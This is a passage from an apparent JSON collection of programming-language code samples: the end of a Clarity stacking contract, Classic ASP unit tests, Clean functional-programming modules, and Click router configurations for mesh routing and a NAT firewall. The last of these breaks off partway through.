automatically.\n(define-public (stack-stx (amount-ustx uint)\n                          (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))\n                          (start-burn-ht uint)\n                          (lock-period uint))\n    ;; this stacker's first reward cycle is the _next_ reward cycle\n    (let ((first-reward-cycle (+ u1 (current-pox-reward-cycle)))\n          (specified-reward-cycle (+ u1 (burn-height-to-reward-cycle start-burn-ht))))\n      ;; the start-burn-ht must result in the next reward cycle, do not allow stackers\n      ;;  to \"post-date\" their `stack-stx` transaction\n      (asserts! (is-eq first-reward-cycle specified-reward-cycle)\n                (err ERR_INVALID_START_BURN_HEIGHT))\n\n      ;; must be called directly by the tx-sender or by an allowed contract-caller\n      (asserts! (check-caller-allowed)\n                (err ERR_STACKING_PERMISSION_DENIED))\n\n      ;; tx-sender principal must not be stacking\n      (asserts! (is-none (get-stacker-info tx-sender))\n        (err ERR_STACKING_ALREADY_STACKED))\n\n      ;; tx-sender must not be delegating\n      (asserts! (is-none (get-check-delegation tx-sender))\n        (err ERR_STACKING_ALREADY_DELEGATED))\n\n      ;; the Stacker must have sufficient unlocked funds\n      (asserts! (>= (stx-get-balance tx-sender) amount-ustx)\n        (err ERR_STACKING_INSUFFICIENT_FUNDS))\n\n      ;; ensure that stacking can be performed\n      (try! (can-stack-stx pox-addr amount-ustx first-reward-cycle lock-period))\n\n      ;; register the PoX address with the amount stacked\n      (try! (add-pox-addr-to-reward-cycles pox-addr first-reward-cycle lock-period amount-ustx))\n\n      ;; add stacker record\n      (map-set stacking-state\n        { stacker: tx-sender }\n        { amount-ustx: amount-ustx,\n          pox-addr: pox-addr,\n          first-reward-cycle: first-reward-cycle,\n          lock-period: lock-period })\n\n      ;; return the lock-up information, so the node can actually carry out the lock.\n      (ok { stacker: tx-sender, lock-amount: amount-ustx, unlock-burn-height: (reward-cycle-to-burn-height (+ first-reward-cycle lock-period)) }))\n)\n\n(define-public (revoke-delegate-stx)\n  (begin\n    ;; must be called directly by the tx-sender or by an allowed contract-caller\n    (asserts! (check-caller-allowed)\n              (err ERR_STACKING_PERMISSION_DENIED))\n    (ok (map-delete delegation-state { stacker: tx-sender }))))\n\n;; Delegate to `delegate-to` the ability to stack from a given address.\n;;  This method _does not_ lock the funds, rather, it allows the delegate\n;;  to issue the stacking lock.\n;; The caller specifies:\n;;   * amount-ustx: the total amount of ustx the delegate may be allowed to lock\n;;   * until-burn-ht: an optional burn height at which this delegation expiration\n;;   * pox-addr: an optional address to which any rewards *must* be sent\n(define-public (delegate-stx (amount-ustx uint)\n                             (delegate-to principal)\n                             (until-burn-ht (optional uint))\n                             (pox-addr (optional { version: (buff 1),\n                                                   hashbytes: (buff 20) })))\n    (begin\n      ;; must be called directly by the tx-sender or by an allowed contract-caller\n      (asserts! (check-caller-allowed)\n                (err ERR_STACKING_PERMISSION_DENIED))\n\n      ;; tx-sender principal must not be stacking\n      (asserts! (is-none (get-stacker-info tx-sender))\n        (err ERR_STACKING_ALREADY_STACKED))\n\n      ;; tx-sender must not be delegating\n      (asserts! (is-none (get-check-delegation tx-sender))\n        (err ERR_STACKING_ALREADY_DELEGATED))\n\n      ;; add delegation record\n      (map-set delegation-state\n        { stacker: tx-sender }\n        { amount-ustx: amount-ustx,\n          delegated-to: delegate-to,\n          until-burn-ht: until-burn-ht,\n          pox-addr: pox-addr })\n\n      (ok true)))\n\n;; Commit partially stacked STX.\n;;   This allows a stacker/delegate to lock fewer STX than the minimal threshold in multiple transactions,\n;;   so long as: 1. The pox-addr is the same.\n;;               2. This \"commit\" transaction is called _before_ the PoX anchor block.\n;;   This ensures that each entry in the reward set returned to the stacks-node is greater than the threshold,\n;;   but does not require it be all locked up within a single transaction\n(define-public (stack-aggregation-commit (pox-addr { version: (buff 1), hashbytes: (buff 20) })\n                                         (reward-cycle uint))\n  (let ((partial-stacked\n         ;; fetch the partial commitments\n         (unwrap! (map-get? partial-stacked-by-cycle { pox-addr: pox-addr, sender: tx-sender, reward-cycle: reward-cycle })\n                  (err ERR_STACKING_NO_SUCH_PRINCIPAL))))\n    ;; must be called directly by the tx-sender or by an allowed contract-caller\n    (asserts! (check-caller-allowed)\n              (err ERR_STACKING_PERMISSION_DENIED))\n    (let ((amount-ustx (get stacked-amount partial-stacked)))\n      (try! (can-stack-stx pox-addr amount-ustx reward-cycle u1))\n      ;; add the pox addr to the reward cycle\n      (add-pox-addr-to-ith-reward-cycle\n       u0\n       { pox-addr: pox-addr,\n         first-reward-cycle: reward-cycle,\n         num-cycles: u1,\n         amount-ustx: amount-ustx,\n         i: u0 })\n      ;; don't update the stacking-state map,\n      ;;  because it _already has_ this stacker's state\n      ;; don't lock the STX, because the STX is already locked\n      ;;\n      ;; clear the partial-stacked state\n      (map-delete partial-stacked-by-cycle { pox-addr: pox-addr, sender: tx-sender, reward-cycle: reward-cycle })\n      (ok true))))\n\n;; As a delegate, stack the given principal's STX using partial-stacked-by-cycle\n;; Once the delegate has stacked > minimum, the delegate should call stack-aggregation-commit\n(define-public (delegate-stack-stx (stacker principal)\n                                   (amount-ustx uint)\n                                   (pox-addr { version: (buff 1), hashbytes: (buff 20) })\n                                   (start-burn-ht uint)\n                                   (lock-period uint))\n    ;; this stacker's first reward cycle is the _next_ reward cycle\n    (let ((first-reward-cycle (+ u1 (current-pox-reward-cycle)))\n          (specified-reward-cycle (+ u1 (burn-height-to-reward-cycle start-burn-ht)))\n          (unlock-burn-height (reward-cycle-to-burn-height (+ (current-pox-reward-cycle) u1 lock-period))))\n      ;; the start-burn-ht must result in the next reward cycle, do not allow stackers\n      ;;  to \"post-date\" their `stack-stx` transaction\n      (asserts! (is-eq first-reward-cycle specified-reward-cycle)\n                (err ERR_INVALID_START_BURN_HEIGHT))\n\n      ;; must be called directly by the tx-sender or by an allowed contract-caller\n      (asserts! (check-caller-allowed)\n        (err ERR_STACKING_PERMISSION_DENIED))\n\n      ;; stacker must have delegated to the caller\n      (let ((delegation-info (unwrap! (get-check-delegation stacker) (err ERR_STACKING_PERMISSION_DENIED))))\n        ;; must have delegated to tx-sender\n        (asserts! (is-eq (get delegated-to delegation-info) tx-sender)\n                  (err ERR_STACKING_PERMISSION_DENIED))\n        ;; must have delegated enough stx\n        (asserts! (>= (get amount-ustx delegation-info) amount-ustx)\n                  (err ERR_DELEGATION_TOO_MUCH_LOCKED))\n        ;; if pox-addr is set, must be equal to pox-addr\n        (asserts! (match (get pox-addr delegation-info)\n                         specified-pox-addr (is-eq pox-addr specified-pox-addr)\n                         true)\n                  (err ERR_DELEGATION_POX_ADDR_REQUIRED))\n        ;; delegation must not expire before lock period\n        (asserts! (match (get until-burn-ht delegation-info)\n                         until-burn-ht (>= until-burn-ht\n                                           unlock-burn-height)\n                      true)\n                  (err ERR_DELEGATION_EXPIRES_DURING_LOCK)))\n\n      ;; stacker principal must not be stacking\n      (asserts! (is-none (get-stacker-info stacker))\n        (err ERR_STACKING_ALREADY_STACKED))\n\n      ;; the Stacker must have sufficient unlocked funds\n      (asserts! (>= (stx-get-balance stacker) amount-ustx)\n        (err ERR_STACKING_INSUFFICIENT_FUNDS))\n\n      ;; ensure that stacking can be performed\n      (try! (minimal-can-stack-stx pox-addr amount-ustx first-reward-cycle lock-period))\n\n      ;; register the PoX address with the amount stacked via partial stacking\n      ;;   before it can be included in the reward set, this must be committed!\n      (add-pox-partial-stacked pox-addr first-reward-cycle lock-period amount-ustx)\n\n      ;; add stacker record\n      (map-set stacking-state\n        { stacker: stacker }\n        { amount-ustx: amount-ustx,\n          pox-addr: pox-addr,\n          first-reward-cycle: first-reward-cycle,\n          lock-period: lock-period })\n\n      ;; return the lock-up information, so the node can actually carry out the lock.\n      (ok { stacker: stacker,\n            lock-amount: amount-ustx,\n            unlock-burn-height: unlock-burn-height })))\n\n;; Reject Stacking for this reward cycle.\n;; tx-sender votes all its uSTX for rejection.\n;; Note that unlike PoX, rejecting PoX does not lock the tx-sender's\n;; tokens.  PoX rejection acts like a coin vote.\n(define-public (reject-pox)\n    (let (\n        (balance (stx-get-balance tx-sender))\n        (vote-reward-cycle (+ u1 (current-pox-reward-cycle)))\n    )\n\n    ;; tx-sender principal must not have rejected in this upcoming reward cycle\n    (asserts! (is-none (get-pox-rejection tx-sender vote-reward-cycle))\n        (err ERR_STACKING_ALREADY_REJECTED))\n\n    ;; tx-sender can't be a stacker\n    (asserts! (is-none (get-stacker-info tx-sender))\n        (err ERR_STACKING_ALREADY_STACKED))\n\n    ;; vote for rejection\n    (map-set stacking-rejection\n        { reward-cycle: vote-reward-cycle }\n        { amount: (+ (next-cycle-rejection-votes) balance) }\n    )\n\n    ;; mark voted\n    (map-set stacking-rejectors\n        { stacker: tx-sender, reward-cycle: vote-reward-cycle }\n        { amount: balance }\n    )\n\n    (ok true))\n)\n\n;; Used for PoX parameters discovery\n(define-read-only (get-pox-info)\n    (ok {\n        min-amount-ustx: (get-stacking-minimum),\n        reward-cycle-id: (current-pox-reward-cycle),\n        prepare-cycle-length: (var-get pox-prepare-cycle-length),\n        first-burnchain-block-height: (var-get first-burnchain-block-height),\n        reward-cycle-length: (var-get pox-reward-cycle-length),\n        rejection-fraction: (var-get pox-rejection-fraction),\n        current-rejection-votes: (next-cycle-rejection-votes),\n        total-liquid-supply-ustx: stx-liquid-supply,\n    })\n)\n"
  },
  {
    "path": "samples/Classic ASP/ASPUnitRunner.asp",
    "content": "<% Option Explicit %>\n\n<!-- #include file=\"../Lib/ASPUnit.asp\" -->\n\n<%\n\tDim objLifecycle\n\tSet objLifecycle = ASPUnit.CreateLifeCycle(\"Setup\", \"Teardown\")\n\n\tCall ASPUnit.AddModule( _\n\t\tASPUnit.CreateModule( _\n\t\t\t\"ASPUnitRunner AddPage Tests\", _\n\t\t\tArray( _\n\t\t\t\tASPUnit.CreateTest(\"ASPUnitRunnerAddPage\"), _\n\t\t\t\tASPUnit.CreateTest(\"ASPUnitRunnerAddPages\") _\n\t\t\t), _\n\t\t\tobjLifecycle _\n\t\t) _\n\t)\n\n\tCall ASPUnit.AddModule( _\n\t\tASPUnit.CreateModule( _\n\t\t\t\"ASPUnitRunner Run Tests\", _\n\t\t\tArray( _\n\t\t\t\tASPUnit.CreateTest(\"ASPUnitRunnerRunAddsCurrentPage\"), _\n\t\t\t\tASPUnit.CreateTest(\"ASPUnitRunnerPassesToRenderer\") _\n\t\t\t), _\n\t\t\tobjLifecycle _\n\t\t) _\n\t)\n\n\tCall ASPUnit.Run()\n\n\t' Create a global instance of ASPUnitRunner for testing\n\n\tSub Setup()\n\t\tCall ExecuteGlobal(\"Dim objService\")\n\t\tSet objService = New ASPUnitRunner\n\tEnd Sub\n\n\tSub Teardown()\n\t\tSet objService = Nothing\n\tEnd Sub\n\n\t' Create a mock theme service that sets a global variable to indicate Render method executed\n\n\tClass ASPUnitUIRendererMockTheme\n\t\tPublic Sub Render(objValue)\n\t\t\tCall ExecuteGlobal(\"Dim blnRendererRan\")\n\t\t\tblnRendererRan = True\n\t\tEnd Sub\n\tEnd Class\n\n\t' Test that ASPUnitRunner adds specified pages\n\n\tSub ASPUnitRunnerAddPage()\n\t\tCall objService.AddPage(Nothing)\n\t\tCall ASPUnit.Equal(objService.Pages.Count, 1, \"AddPage method should add page to collection\")\n\tEnd Sub\n\n\tSub ASPUnitRunnerAddPages()\n\t\tCall objService.AddPages(Array(Nothing, Nothing))\n\t\tCall ASPUnit.Equal(objService.Pages.Count, 2, \"AddPages method should add pages to collection\")\n\tEnd Sub\n\n\t' Test that ASPUnitRunner adds current page if no pages are specified\n\n\tSub ASPUnitRunnerRunAddsCurrentPage()\n\t\tSet objService.Theme = New ASPUnitUIRendererMockTheme\n\t\tCall objService.Run()\n\t\tCall ASPUnit.Equal(objService.Pages.Count, 1, \"Run method should add current page if no pages are specified\")\n\tEnd Sub\n\n\t' Test that ASPUnitRunner implments renderer on Run\n\n\tSub ASPUnitRunnerPassesToRenderer()\n\t\tSet objService.Theme = New ASPUnitUIRendererMockTheme\n\t\tCall objService.Run()\n\t\tCall ASPUnit.Equal(blnRendererRan, True, \"Run method should execute renderer render method\")\n\tEnd Sub\n%>"
  },
  {
    "path": "samples/Classic ASP/sendingcontent-xml.asp",
    "content": "<%\n  ' to set content type we can use Response.ContentType \n  ' sample XML taken from http://json.org/example.html\n  Response.ContentType = \"text/xml\"\n%>\n<!DOCTYPE glossary PUBLIC \"-//OASIS//DTD DocBook V3.1//EN\">\n <glossary><title>example glossary</title>\n  <GlossDiv><title>S</title>\n   <GlossList>\n    <GlossEntry ID=\"SGML\" SortAs=\"SGML\">\n     <GlossTerm>Standard Generalized Markup Language</GlossTerm>\n     <Acronym>SGML</Acronym>\n     <Abbrev>ISO 8879:1986</Abbrev>\n     <GlossDef>\n      <para>A meta-markup language, used to create markup\nlanguages such as DocBook.</para>\n      <GlossSeeAlso OtherTerm=\"GML\">\n      <GlossSeeAlso OtherTerm=\"XML\">\n     </GlossDef>\n     <GlossSee OtherTerm=\"markup\">\n    </GlossEntry>\n   </GlossList>\n  </GlossDiv>\n </glossary>\n"
  },
  {
    "path": "samples/Clean/GenHylo.dcl",
    "content": "definition module GenHylo\n\nimport StdGeneric, GenMap\n\n:: Fix f = In (f .(Fix f))\nOut :: !u:(Fix v:a) -> v:(a w:(Fix v:a)), [u <= w]\n\nhylo :: ((.f .b) -> .b) (.a -> (.f .a)) -> (.a -> .b) | gMap{|*->*|} f\ncata :: (u:(f .a) -> .a) -> (Fix u:f) -> .a | gMap{|*->*|} f\nana :: (.a -> u:(f .a)) -> .a -> (Fix u:f) | gMap{|*->*|} f\n\n"
  },
  {
    "path": "samples/Clean/GenMap.dcl",
    "content": "definition module GenMap\n\nimport StdGeneric\n\ngeneric gMap a b :: .a -> .b\nderive gMap c, UNIT, PAIR, EITHER, CONS, FIELD, OBJECT, {}, {!} \n\nderive gMap [], (,), (,,),  (,,,), (,,,,), (,,,,,), (,,,,,,), (,,,,,,,)\n\n"
  },
  {
    "path": "samples/Clean/GenMap.icl",
    "content": "implementation module GenMap\n\nimport StdClass, StdArray, StdInt, StdFunc\nimport StdGeneric, _Array\n\ngeneric gMap a b :: .a -> .b\ngMap{|c|} x \t\t\t\t\t= x\ngMap{|UNIT|} x \t\t\t\t\t= x\ngMap{|PAIR|} fx fy (PAIR x y) \t= PAIR (fx x) (fy y) \ngMap{|EITHER|} fl fr (LEFT x) \t= LEFT (fl x)\ngMap{|EITHER|} fl fr (RIGHT x) \t= RIGHT (fr x)\ngMap{|CONS|} f (CONS x) \t\t= CONS (f x)\ngMap{|FIELD|} f (FIELD x) \t\t= FIELD (f x)\ngMap{|OBJECT|} f (OBJECT x) \t= OBJECT (f x)\ngMap{|{}|} f xs \t\t\t\t= mapArray f xs\ngMap{|{!}|} f xs\t\t\t\t= mapArray f xs\n\nderive gMap [], (,), (,,),  (,,,), (,,,,), (,,,,,), (,,,,,,), (,,,,,,,)\n\n"
  },
  {
    "path": "samples/Clean/fsieve.icl",
    "content": "module fsieve\n\n/*\nThe Fast Sieve of Eratosthenes.\n\nA sequential and optimized version of the sieve of Eratosthenes.\nThe program calculates a list of the first NrOfPrime primes.\nThe result of the program is the NrOfPrimes'th prime.\n\nStrictness annotations have been added because the strictness analyser\nis not able to deduce all strictness information. Removal of these !'s\nwill make the program about 20% slower.\n\nOn a machine without a math coprocessor the execution of this\nprogram might take a (very) long time. Set NrOfPrimes to a smaller value.\n*/\n\nimport StdClass; // RWS\nimport StdInt, StdReal\n     \nNrOfPrimes :== 3000 \n\t\n//\tThe sieve algorithm: generate an infinite list of all primes.\n\nPrimes::[Int]\nPrimes = pr where pr = [5 : Sieve 7 4 pr]\n\nSieve::Int !Int [Int] -> [Int]\nSieve g i prs\n\t| IsPrime prs g (toInt (sqrt (toReal g)))\t=  [g : Sieve` g i prs]\n\t\t\t\t\t\t\t\t\t\t\t\t=  Sieve (g + i) (6 - i) prs\n\nSieve`::Int Int [Int] -> [Int]\nSieve` g i prs =  Sieve (g + i) (6 - i) prs\n\nIsPrime::[Int] !Int Int -> Bool\nIsPrime [f:r] pr bd | f>bd \t\t\t=  True\n\t\t\t\t\t| pr rem f==0\t=  False\n\t\t\t\t\t\t\t\t\t=  IsPrime r pr bd\n\t\t\t\t\t\t\t\t  \n//\tSelect is used to get the NrOfPrimes'th prime from the infinite list.\n\nSelect::[x] Int -> x\nSelect [f:r] 1 =  f\nSelect [f:r] n =  Select r (n - 1)\n\n\n/*\tThe Start rule: Select the NrOfPrimes'th prime from the list of primes\n\tgenerated by Primes.\n*/\n\nStart::Int\nStart = Select [2, 3 : Primes] NrOfPrimes\n\n"
  },
  {
    "path": "samples/Clean/sem.icl",
    "content": "module monadicSemantics\n\nimport StdEnv, StdGeneric, GenMap, GenHylo\n\n/* For fun I implemented the recursive datastructre Exp and Stm as fixpoints\n   This helps us define recursive functions on them (only a little bit though)\n   However deriving gMap for Fix did not works out of the box\n   I had to remove some uniqueness typing in GenMap and GenHylo */\n:: Op      = Plus | Minus | Times | Rem | Equal | LessThan\n:: Var     :== String\n\n:: ExpP a  = Int Int | Var Var | Op Op a a\n:: Exp     :== Fix ExpP\n\n:: StmP a  = Assign Var Exp | If Exp a a | While Exp a | Seq a a | Cont\n:: Stm     :== Fix StmP\n\nderive gMap ExpP, StmP, Fix\n\n// Environment. Semantics is basically Env -> Env\n:: Env :== Var -> Int\n:: Sem :== Env -> (Int, Env)\nempty = \\v . 0\n\n// return\nrtn :: Int -> Sem\nrtn i = \\e. (i, e)\n\n// the usual bind\n(>>=) infixl 1 :: Sem (Int->Sem) -> Sem\n(>>=) x y = \\e. (\\(i,e2).y i e2) (x e)\n(>>|) infixl 1 :: Sem Sem -> Sem\n(>>|) x y = x >>= \\_. y\n\n// read variable from environment\nread :: Var -> Sem\nread v = \\e. (e v, e)\n\n// assign value to give variable in environment\nwrite :: Var Int -> Sem\nwrite v i = \\e. (i, \\w. if (w==v) i (e w))\n\n// semantics\nclass sem a :: a -> Sem\n\noperator :: Op -> Int -> Int -> Int\noperator Plus     = (+)\noperator Minus    = (-)\noperator Times    = (*)\noperator Rem      = rem\noperator Equal    = \\x y . if (x==y) 1 0\noperator LessThan = \\x y . if (x< y)  1 0\n\n// semantics of expressions\ninstance sem Exp where\n\tsem x = cata phi x where\n\t\tphi (Int n)     = rtn n\n\t\tphi (Var v)     = read v\n\t\tphi (Op op x y) = x >>= \\v1. y >>= return o (operator op v1)\n\n// semantics of statments\n// NOTE: while will always return 0, as it might not even be executed\ninstance sem Stm where\n\tsem x = cata phi x where\n\t\tphi (Assign v e)     = sem e >>= write v\n\t\tphi (If e s1 s2)     = sem e >>= \\b . if (b<>0) s1 s2\n\t\tphi stm=:(While e s) = sem e >>= \\b . if (b<>0) (s >>| phi stm) (phi Cont)\n\t\tphi (Seq s1 s2)      = s1 >>| s2    // Here the cata *finally* pays off :D\n\t\tphi Cont             = rtn 0\n\n// convenience functions\nint    = In o Int\nvar    = In o Var\nop o   = In o2 (Op o)\nassign = In o2 Assign\nifte e = In o2 (If e)\nwhile  = In o2 While\nseq    = In o2 Seq\ncont   = In Cont\n\n// test case, also testing the new operator <\npEuclides =\n\twhile (op LessThan (int 0) (var \"b\"))(\n\t\tseq (assign \"r\" (op Rem (var \"a\") (var \"b\")))\n\t\t(seq (assign \"a\" (var \"b\"))\n\t\t( (assign \"b\" (var \"r\")))\n\t\t)\n\t)\n\nStart = fst (program start) where\n\tprogram = sem pEuclides >>| read \"a\"\n\tstart \"a\" = 9\n\tstart \"b\" = 12\n\tstart _ = 0\n\n// Helper\n(o2) infixr 9\n(o2) f g x :== f o (g x)\n\n"
  },
  {
    "path": "samples/Clean/stack.dcl",
    "content": "definition module stack\n\n:: Stack a\n\nnewStack :: (Stack a)\npush :: a (Stack a) -> Stack a\npushes :: [a] (Stack a) -> Stack a\npop :: (Stack a) -> Stack a\npopn :: Int (Stack a) -> Stack a\ntop :: (Stack a) -> a\ntopn :: Int (Stack a) -> [a]\nelements :: (Stack a) -> [a]\ncount :: (Stack a) -> Int\n\n"
  },
  {
    "path": "samples/Clean/stack.icl",
    "content": "implementation module stack\nimport StdEnv\n\n:: Stack a :== [a]\n\nnewStack :: (Stack a)\nnewStack = []\n\npush :: a (Stack a) -> Stack a\npush x s = [x:s]\n\npushes :: [a] (Stack a) -> Stack a\npushes x s = x ++ s\n\npop :: (Stack a) -> Stack a\npop [] = abort \"Cannot use pop on an empty stack\"\npop [e:s] = s\n\npopn :: Int (Stack a) -> Stack a\npopn n s  = drop n s\n\ntop :: (Stack a) -> a\ntop [] = abort \"Cannot use top on an empty stack\"\ntop [e:s] = e\n\ntopn :: Int (Stack a) -> [a]\ntopn n s = take n s\nelements :: (Stack a) -> [a]\nelements s = s\n\ncount :: (Stack a) -> Int\ncount s = length s\n\n"
  },
  {
    "path": "samples/Clean/streams.dcl",
    "content": "definition module streams\n\nimport StdEnv\n\ninstance zero [Real]\ninstance one [Real]\ninstance + [Real]        \ninstance - [Real]\ninstance * [Real]\ninstance / [Real]\n\nX :: [Real]\ninvert :: [Real] -> [Real]\npow :: [Real] Int -> [Real]\n(shuffle) infixl 7 :: [Real] [Real] -> [Real]\n\n"
  },
  {
    "path": "samples/Clean/streams.icl",
    "content": "implementation module streams\n\nimport StdEnv\n\ninstance zero [Real]\nwhere\n        zero = [] //Infinite row of zeroes represented as empty list to ease computation\n\ninstance one [Real]\nwhere\n        one = [1.0:zero]\n\ninstance + [Real]\nwhere\n        (+) [s:s`] [t:t`] = [s+t:s`+t`]\n        (+) [s:s`] [] = [s:s`]\n        (+) [] [t:t`] = [t:t`]\n        (+) [] [] = []\n        \ninstance - [Real]\nwhere\n        (-) [s:s`] [t:t`] = [s-t:s`-t`]\n        (-) [s:s`] [] = [s:s`]\n        (-) [] [t:t`] = [-1.0] * [t:t`]\n        (-) [] [] = []\n\ninstance * [Real]\nwhere\n        (*) [s:s`] [t:t`] = [s*t:s`*[t:t`]+[s]*t`]\n        (*) _ _ = []\n\ninstance / [Real]\nwhere\n        (/) s t = s * (invert t)\n\nX :: [Real]\nX = [0.0:one]\n\ninvert :: [Real] -> [Real]\ninvert [s:s`] = [1.0/s:(invert [s:s`]) * s` * [-1.0/s]]\n\npow :: [Real] Int -> [Real]\npow s 0 = one\npow s n = s * pow s (n-1)\n\n(shuffle) infixl 7 :: [Real] [Real] -> [Real]\n(shuffle) [s:s`] [t:t`] = [s*t:s` shuffle [t:t`] + [s:s`] shuffle t`]\n(shuffle) _ _ = []\n\n"
  },
  {
    "path": "samples/Click/sr2.click",
    "content": "rates :: AvailableRates\nelementclass sr2 {\n  $sr2_ip, $sr2_nm, $wireless_mac, $gateway, $probes|\n\n\narp :: ARPTable();\nlt :: LinkTable(IP $sr2_ip);\n\n\ngw :: SR2GatewaySelector(ETHTYPE 0x062c,\n\t\t      IP $sr2_ip,\n\t\t      ETH $wireless_mac,\n\t\t      LT lt,\n\t\t      ARP arp,\n\t\t      PERIOD 15,\n\t\t      GW $gateway);\n\n\ngw -> SR2SetChecksum -> [0] output;\n\nset_gw :: SR2SetGateway(SEL gw);\n\n\nes :: SR2ETTStat(ETHTYPE 0x0641, \n\t      ETH $wireless_mac, \n\t      IP $sr2_ip, \n\t      PERIOD 30000,\n\t      TAU 300000,\n\t      ARP arp,\n\t      PROBES $probes,\n\t      ETT metric,\n\t      RT rates);\n\n\nmetric :: SR2ETTMetric(LT lt);\n\n\nforwarder :: SR2Forwarder(ETHTYPE 0x0643, \n\t\t\t      IP $sr2_ip, \n\t\t\t      ETH $wireless_mac, \n\t\t\t      ARP arp, \n\t\t\t      LT lt);\n\n\nquerier :: SR2Querier(ETH $wireless_mac, \n\t\t     SR forwarder,\n\t\t     LT lt, \n\t\t     ROUTE_DAMPENING true,\n\t\t     TIME_BEFORE_SWITCH 5,\n\t\t     DEBUG true);\n\n\nquery_forwarder :: SR2MetricFlood(ETHTYPE 0x0644,\n\t\t\t       IP $sr2_ip, \n\t\t\t       ETH $wireless_mac, \n\t\t\t       LT lt, \n\t\t\t       ARP arp,\n\t\t\t       DEBUG false);\n\nquery_responder :: SR2QueryResponder(ETHTYPE 0x0645,\n\t\t\t\t    IP $sr2_ip, \n\t\t\t\t    ETH $wireless_mac, \n\t\t\t\t    LT lt, \n\t\t\t\t    ARP arp,\n\t\t\t\t    DEBUG true);\n\n\nquery_responder -> SR2SetChecksum -> [0] output;\nquery_forwarder -> SR2SetChecksum -> SR2Print(forwarding) -> [0] output;\nquery_forwarder [1] -> query_responder;\n\ndata_ck :: SR2SetChecksum() \n\ninput [1] \n-> host_cl :: IPClassifier(dst net $sr2_ip mask $sr2_nm,\n\t\t\t\t-)\n-> querier\n-> data_ck;\n\n\nhost_cl [1] -> [0] set_gw [0] -> querier;\n\nforwarder[0] \n  -> dt ::DecIPTTL\n  -> data_ck\n  -> [2] output;\n\n\ndt[1] \n-> Print(ttl-error) \n-> ICMPError($sr2_ip, timeexceeded, 0) \n-> querier;\n\n\n// queries\nquerier [1] -> [1] query_forwarder;\nes -> SetTimestamp() -> [1] output;\n\n\nforwarder[1] //ip packets to me\n  -> SR2StripHeader()\n  -> CheckIPHeader()\n  -> from_gw_cl :: IPClassifier(src net $sr2_ip mask $sr2_nm,\n\t\t\t\t-)\n  -> [3] output;\n\nfrom_gw_cl [1] -> [1] set_gw [1] -> [3] output;\n\n input [0]\n   -> ncl :: Classifier(\n\t\t\t12/0643 , //sr2_forwarder\n\t\t\t12/0644 , //sr2\n\t\t\t12/0645 , //replies\n\t\t\t12/0641 , //sr2_es\n\t\t\t12/062c , //sr2_gw\n\t\t\t);\n \n \n ncl[0] -> SR2CheckHeader() -> [0] forwarder;\n ncl[1] -> SR2CheckHeader() -> PrintSR(query) -> query_forwarder\n ncl[2] -> SR2CheckHeader() -> query_responder;\n ncl[3] -> es;\n ncl[4] -> SR2CheckHeader() -> gw;\n \n}\n\n\n\nIdle -> s :: sr2(2.0.0.1, 255.0.0.0, 00:00:00:00:00:01, false, \"12 60 12 1500\") -> Discard;\nIdle -> [1] s;\ns[1] -> Discard;\ns[2] -> Discard;\ns[3] -> Discard;\n"
  },
  {
    "path": "samples/Click/thomer-nat.click",
    "content": "// This Click configuration implements a firewall and NAT, roughly based on the\n// mazu-nat.click example.\n//\n// This example assumes there is one interface that is IP-aliased.  In this\n// example, eth0 and eth0:0 have IP addresses 66.68.65.90 and 192.168.1.1,\n// respectively.  There is a local network, 192.168.1.0/24, and an upstream\n// gateway, 66.58.65.89.  Traffic from the local network is NATed.\n//\n// Connections can be initiated from the NAT box itself, also.\n// \n// For bugs, suggestions, and, corrections, please email me.\n//\n// Author: Thomer M. Gil (click@thomer.com)\n\nAddressInfo(\n    eth0-in     192.168.1.1     192.168.1.0/24  00:0d:87:9d:1c:e9,\n    eth0-ex     66.58.65.90                     00:0d:87:9d:1c:e9,\n    gw-addr     66.58.65.89                     00:20:6f:14:54:c2\n);\n\n\nelementclass SniffGatewayDevice {\n  $device |\n  from :: FromDevice($device)\n    -> t1 :: Tee\n    -> output;\n  input -> q :: Queue(1024)\n    -> t2 :: PullTee\n    -> to :: ToDevice($device);\n  t1[1] -> ToHostSniffers;\n  t2[1] -> ToHostSniffers($device);\n  ScheduleInfo(from .1, to 1);\n}\n\n\ndevice :: SniffGatewayDevice(eth0);\narpq_in :: ARPQuerier(eth0-in) -> device;\nip_to_extern :: GetIPAddress(16)\n        -> CheckIPHeader\n        -> EtherEncap(0x800, eth0-ex, gw-addr)\n        -> device;\nip_to_host :: EtherEncap(0x800, gw-addr, eth0-ex)\n        -> ToHost;\nip_to_intern :: GetIPAddress(16)\n        -> CheckIPHeader\n        -> arpq_in;\n\n                 \narp_class :: Classifier(\n        12/0806 20/0001,        // [0] ARP requests\n        12/0806 20/0002,        // [1] ARP replies to host\n        12/0800);               // [2] IP packets\n\ndevice -> arp_class;\n\n// ARP crap\narp_class[0] -> ARPResponder(eth0-in, eth0-ex) -> device;\narp_class[1] -> arp_t :: Tee;\n                arp_t[0] -> ToHost;\n                arp_t[1] -> [1]arpq_in;\n\n\n// IP packets\narp_class[2] -> Strip(14)\n   -> CheckIPHeader\n   -> ipclass :: IPClassifier(dst host eth0-ex,\n                              dst host eth0-in,\n                              src net eth0-in);\n\n// Define pattern NAT\niprw :: IPRewriterPatterns(NAT eth0-ex 50000-65535 - -);\n\n// Rewriting rules for UDP/TCP packets\n// output[0] rewritten to go into the wild\n// output[1] rewritten to come back from the wild or no match\nrw :: IPRewriter(pattern NAT 0 1,\n                 pass 1);\n\n// Rewriting rules for ICMP packets\nirw :: ICMPPingRewriter(eth0-ex, -);\nirw[0] -> ip_to_extern;\nirw[1] -> icmp_me_or_intern :: IPClassifier(dst host eth0-ex, -);\n          icmp_me_or_intern[0] -> ip_to_host;\n          icmp_me_or_intern[1] -> ip_to_intern;\n\n// Rewriting rules for ICMP error packets\nierw :: ICMPRewriter(rw irw);\nierw[0] -> icmp_me_or_intern;\nierw[1] -> icmp_me_or_intern;\n\n\n// Packets directed at eth0-ex.\n// Send it through IPRewriter(pass).  If there was a mapping, it will be\n// rewritten such that dst is eth0-in:net, otherwise dst will still be for\n// eth0-ex.\nipclass[0] -> [1]rw;\n\n// packets that were rewritten, heading into the wild world.\nrw[0] -> ip_to_extern;\n\n// packets that come back from the wild or are not part of an established\n// connection.\nrw[1] -> established_class :: IPClassifier(dst host eth0-ex,\n                                           dst net eth0-in);\n\n         // not established yet or returning packets for a connection that was\n         // established from this host itself.\n         established_class[0] ->\n           firewall :: IPClassifier(dst tcp port ssh,\n                                    dst tcp port smtp,\n                                    dst tcp port domain,\n                                    dst udp port domain,\n                                    icmp type echo-reply,\n                                    proto icmp,\n                                    port > 4095,\n                                    -);\n\n                                    firewall[0] -> ip_to_host; 